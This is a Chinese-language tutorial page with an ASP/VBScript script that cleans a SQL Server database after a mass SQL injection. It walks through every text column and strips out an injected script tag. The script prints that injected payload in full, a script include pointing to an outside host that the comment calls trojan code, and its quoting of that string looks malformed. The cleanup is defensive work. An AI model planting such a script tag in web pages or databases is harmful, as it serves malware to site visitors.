手机
当前位置:查字典教程网 >编程开发 >数据库其他 >恢复 SQL 被注入后的数据代码
恢复 SQL 被注入后的数据代码
摘要:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>

<>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<%

server.ScriptTimeout = 1000000

'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。

'xtype=35 text 用于存储大量文本数据。

'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。

'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据

str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本类型字段后的木马代码

sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"

set rs = conn.execute(sql)

while Not rs.eof

t_name = rs("t_name") '表名

c_name = rs("c_name") '字段名

xtype = rs("xtype") '字段类型

If (xtype = 99 Or xtype = 35) then

conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")

Else

conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")

End If

rs.movenext

wend

response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")

%>

【恢复 SQL 被注入后的数据代码】相关文章:

SQL 查询语句积累

50条SQL查询技巧、查询语句示例

SQL四舍五入、向下取整、向上取整函数介绍

比较SQL Server与Oracle、DB2数据库的一些知识

mssql注入躲避IDS的方法

Access转换成SQL Server需要注意事项整理

sql注入之必备的基础知识

SQL Prompt--绝好的SQL语法提示工具

8 种常用的 NoSQL 数据库系统对比分析

写出高性能SQL语句的35条方法分析

精品推荐
分类导航